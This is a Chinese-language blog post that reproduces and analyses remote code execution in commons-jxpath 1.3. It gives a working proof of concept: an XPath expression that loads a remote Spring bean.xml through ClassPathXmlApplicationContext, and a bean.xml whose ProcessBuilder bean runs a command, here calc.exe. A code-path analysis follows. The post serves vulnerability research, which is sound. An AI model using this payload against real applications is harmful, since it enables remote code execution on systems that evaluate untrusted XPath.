漏洞简介

  commons-jxpath 是一个java库,是Xpath基于java语言的一种实现。使用 JXPath 来解释不受信任的 XPath 表达式的人可能容易受到远程代码执行攻击。所有处理 XPath 字符串的 JXPathContext 类函数都容易受到攻击,除了 compile() 和 compilePath() 函数。攻击者可以使用 XPath 表达式从类路径加载任何 Java 类,从而导致代码执行。

  我们看到 Tweet 上面有一些关于漏洞复现的图片



  根据这些图片我们进行简单的复现和分析

漏洞复现

  我们在 maven 仓库中查找 jxpath

  https://mvnrepository.com/search?q=jxpath

  把依赖复制出来,添加到项目的 pom.xml 文件中

<!-- https://mvnrepository.com/artifact/commons-jxpath/commons-jxpath -->
<dependency>
    <groupId>commons-jxpath</groupId>
    <artifactId>commons-jxpath</artifactId>
    <version>1.3</version>
</dependency>

  添加完成后刷新一下 maven 依赖

  我们编写代码

import org.apache.commons.jxpath.JXPathContext;


public class JXpathDemo {
    public static void main(String[] args) {
        try{
            JXPathContext context = JXPathContext.newContext(null);
            String key = (String) context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");
            System.out.println(key);
        }catch (Exception exception){
            exception.printStackTrace();
        }
    }
}

  我们先并不去创建 bean.xml 文件 如果确实运行成功的话,我们会在 8080 端口接收到请求

  但是我们运行项目之后出现了错误

  我们看到提示的错误是 无法调用函数,通过不断的加断点调试分析,发现是在本地没有相关依赖,所以我们在 pom 文件中添加

<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context-support</artifactId>
            <version>5.3.23</version>
        </dependency>

  刷新 maven 再次运行项目 端口接收到了请求

  写一个 bean.xml 文件

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>calc.exe</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

  漏洞触发成功

漏洞分析

  先将调试后的大致流程图画出

  org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue

  漏洞比较关键的就是在此处,利用 context.getRootContext().getFunction(functionName, parameters); 去获取 function 之后再根据 function 去调用 invoke 方法

  org.apache.commons.jxpath.PackageFunctions#getFunction

  会先判断类名是否存在,然后再根据方法是构造函数还是静态方法 返回

  • org.apache.commons.jxpath.functions.ConstructorFunction
  • org.apache.commons.jxpath.functions.MethodFunction

  然后再去调用对应的 invoke

  org.apache.commons.jxpath.functions.ConstructorFunction#invoke

  这个地方利用的就是构造函数

  利用 spring 中的两个类构造函数加载远程配置实现 RCE

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

  也就是说如此构造就等同于

import org.springframework.context.support.ClassPathXmlApplicationContext;
public class JXpathDemo {
    public static void main(String[] args) {

        String s = "http://127.0.0.1:8080/bean.xml";
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);
    }
}

  我们再看一下静态方法对应的 invoke

  org.apache.commons.jxpath.functions.MethodFunction#invoke

  最后是调用反射去执行方法,对于静态方法可以利用 JDBC 链 等进行利用

总结反思

  漏洞主要是因为处理 XPath 字符串的 JXPathContext类函数,JXPath支持开箱即用的标准XPath函数。它还支持“标准”扩展函数,这基本上是到Java的桥梁,以及完全自定义的扩展函数。使用标准扩展函数,可以调用对象上的方法、类上的静态方法,并使用任何构造函数创建对象。所有类名都应该是完全限定的。

  通过它本身的特性可以调用任意方法来说,就可以知道漏洞产生的原因了,分析构造满足条件的XPath 就实现了漏洞的利用

点击收藏 | 2 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖